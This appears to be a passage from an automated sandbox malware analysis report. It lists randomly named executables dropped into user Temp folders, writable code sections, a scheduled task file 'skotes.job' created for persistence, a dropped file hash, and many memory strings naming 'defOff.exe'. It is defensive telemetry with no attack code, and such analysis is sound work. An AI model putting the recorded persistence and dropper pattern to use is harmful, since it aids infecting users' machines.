Source: 7a5878ed96.exe.8.dr	Static PE information: section name: .idata
Source: 7a5878ed96.exe.8.dr	Static PE information: section name:
Source: DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe.9.dr	Static PE information: section name:
Source: DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe.9.dr	Static PE information: section name: .idata
Source: GCVLAW8OP2HD5YHJC3.exe.9.dr	Static PE information: section name:
Source: GCVLAW8OP2HD5YHJC3.exe.9.dr	Static PE information: section name: .idata
Source: GCVLAW8OP2HD5YHJC3.exe.9.dr	Static PE information: section name:
Source: I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe.11.dr	Static PE information: section name:
Source: I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe.11.dr	Static PE information: section name: .idata
Source: 1QL5CL9NMBWTM5JDZ.exe.11.dr	Static PE information: section name:
Source: 1QL5CL9NMBWTM5JDZ.exe.11.dr	Static PE information: section name: .idata
Source: 1QL5CL9NMBWTM5JDZ.exe.11.dr	Static PE information: section name:
Source: E7HQ3XMUO6VYIDJ3F2DE2.exe.25.dr	Static PE information: section name:
Source: E7HQ3XMUO6VYIDJ3F2DE2.exe.25.dr	Static PE information: section name: .idata
Source: EGCHWF62L351BCP5BKZSSW.exe.25.dr	Static PE information: section name:
Source: EGCHWF62L351BCP5BKZSSW.exe.25.dr	Static PE information: section name: .idata
Source: EGCHWF62L351BCP5BKZSSW.exe.25.dr	Static PE information: section name:

PE file has a writeable .text section

Source: num[1].exe.8.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.8.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Code function: 3_2_00E1C670	3_2_00E1C670
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Code function: 3_2_00E1B10F	3_2_00E1B10F
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Code function: 3_2_00E1C6BB	3_2_00E1C6BB
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Code function: 3_2_00E1C69B	3_2_00E1C69B
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C47E61	9_3_05C47E61
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C47E61	9_3_05C47E61
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C47E61	9_3_05C47E61
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C47E61	9_3_05C47E61
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C47E61	9_3_05C47E61
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C467A8	9_3_05C467A8
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C467A8	9_3_05C467A8
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C467A8	9_3_05C467A8
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C467A8	9_3_05C467A8
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C467A8	9_3_05C467A8
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C466F4	9_3_05C466F4
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C466F4	9_3_05C466F4
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C466F4	9_3_05C466F4
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C466F4	9_3_05C466F4
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C466F4	9_3_05C466F4
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C47E61	9_3_05C47E61
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C47E61	9_3_05C47E61
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C47E61	9_3_05C47E61
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C47E61	9_3_05C47E61
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C47E61	9_3_05C47E61
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C467A8	9_3_05C467A8
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C467A8	9_3_05C467A8
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C467A8	9_3_05C467A8
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C467A8	9_3_05C467A8
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C467A8	9_3_05C467A8
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C466F4	9_3_05C466F4
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C466F4	9_3_05C466F4
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C466F4	9_3_05C466F4
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C466F4	9_3_05C466F4
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C466F4	9_3_05C466F4
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C47E61	9_3_05C47E61
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C47E61	9_3_05C47E61
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C47E61	9_3_05C47E61
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C47E61	9_3_05C47E61
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C47E61	9_3_05C47E61
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C467A8	9_3_05C467A8
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C467A8	9_3_05C467A8
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C467A8	9_3_05C467A8
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C467A8	9_3_05C467A8
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C467A8	9_3_05C467A8
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C466F4	9_3_05C466F4
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C466F4	9_3_05C466F4
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C466F4	9_3_05C466F4
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C466F4	9_3_05C466F4
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C466F4	9_3_05C466F4
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C47E61	9_3_05C47E61
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C47E61	9_3_05C47E61
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C47E61	9_3_05C47E61
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C47E61	9_3_05C47E61
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C47E61	9_3_05C47E61
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C467A8	9_3_05C467A8
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C467A8	9_3_05C467A8
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C467A8	9_3_05C467A8
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C467A8	9_3_05C467A8
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C467A8	9_3_05C467A8
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C466F4	9_3_05C466F4
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C466F4	9_3_05C466F4
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C466F4	9_3_05C466F4
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C466F4	9_3_05C466F4
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C466F4	9_3_05C466F4
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C47E61	9_3_05C47E61
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C47E61	9_3_05C47E61
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C47E61	9_3_05C47E61
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C47E61	9_3_05C47E61
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C47E61	9_3_05C47E61
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C467A8	9_3_05C467A8
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C467A8	9_3_05C467A8
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C467A8	9_3_05C467A8
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C467A8	9_3_05C467A8
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C467A8	9_3_05C467A8
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C466F4	9_3_05C466F4
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C466F4	9_3_05C466F4
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C466F4	9_3_05C466F4
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C466F4	9_3_05C466F4
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Code function: 9_3_05C466F4	9_3_05C466F4

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D

Source: file.exe	Binary or memory string: OriginalFilename vs file.exe
Source: file.exe, 00000000.00000003.2253549929.00000000066F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2253103189.0000000006606000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2266932981.0000000006677000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2265437678.000000000653A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2268030708.0000000006537000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2248868445.0000000005F5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2245592209.0000000006539000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2246417878.000000000653A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2281042245.0000000006127000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2250953883.0000000006538000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2249066149.0000000006535000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2246790710.0000000006537000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2255153333.000000000653C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2281066171.00000000061BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2263872838.0000000006533000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2267330590.000000000667A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2239197867.0000000006264000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2267794673.000000000667A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2256518055.0000000006537000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2269140699.000000000653E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2244684749.000000000630E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2249515673.0000000006533000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2247252195.000000000653F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2247809832.0000000005F55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2251478950.000000000653A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2252326241.0000000006535000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2254579510.0000000006534000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2266244675.00000000067B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2267146775.0000000006534000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2253233305.0000000006534000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2255331705.000000000662B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2249996965.0000000006538000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2256028154.000000000662C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2247973865.0000000006538000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2255720187.0000000006625000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2280639357.0000000001680000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2268908253.00000000067D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2252183168.00000000066C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2278500889.00000000067F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2248703388.0000000006541000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2263558822.0000000006532000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2252987298.0000000006532000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2247378756.0000000005F5A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2259209581.000000000653F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2248551968.0000000005F60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2256659893.000000000663F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2255517446.0000000006532000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2255890389.0000000006535000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2254794624.000000000661F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2258199575.0000000006534000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2245872021.0000000005F59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2261248685.000000000664E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2252866733.000000000660D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2258936338.0000000006750000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2251140884.0000000005F59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2264532597.0000000006653000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2262102496.000000000665D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2254972636.0000000006706000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2265012231.0000000006791000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2257081208.000000000663C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2279546499.000000000616A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2239197867.000000000630E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2252061469.00000000065FB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2253793873.0000000006617000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2263119888.000000000677E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2246621919.0000000005F53000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2257854902.0000000006636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2253674528.0000000006533000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2251931254.0000000006539000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2248377132.0000000006538000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2248225347.0000000005F5D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2254257944.0000000006539000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2253423129.000000000660E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2267579684.0000000006539000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2263714648.0000000006657000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2260084808.000000000653A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2258612331.000000000663A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2268416533.000000000667B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2266684920.000000000653C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2254401700.0000000006613000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2279711366.00000000061DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2263405512.000000000665D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2260933755.0000000006532000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2247102977.0000000005F53000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2239197867.00000000062B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2245437476.0000000005F5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2254133927.0000000006614000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2256803328.0000000006537000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2246288069.0000000005F5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2250242748.0000000005F5C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2250552759.0000000006536000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2257515348.0000000006532000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2251811960.0000000005F54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2259655041.000000000664C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2262796311.000000000665D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2256371348.000000000672C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2250704767.0000000005F55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2261798666.000000000653C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2252566867.000000000653C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2279312842.0000000006264000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2252445213.0000000006605000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2263285706.0000000006532000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2247517629.0000000006533000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2260534426.0000000006647000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2265813956.000000000666E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2262344009.000000000653A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2246151043.0000000006535000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2249796689.0000000005F55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
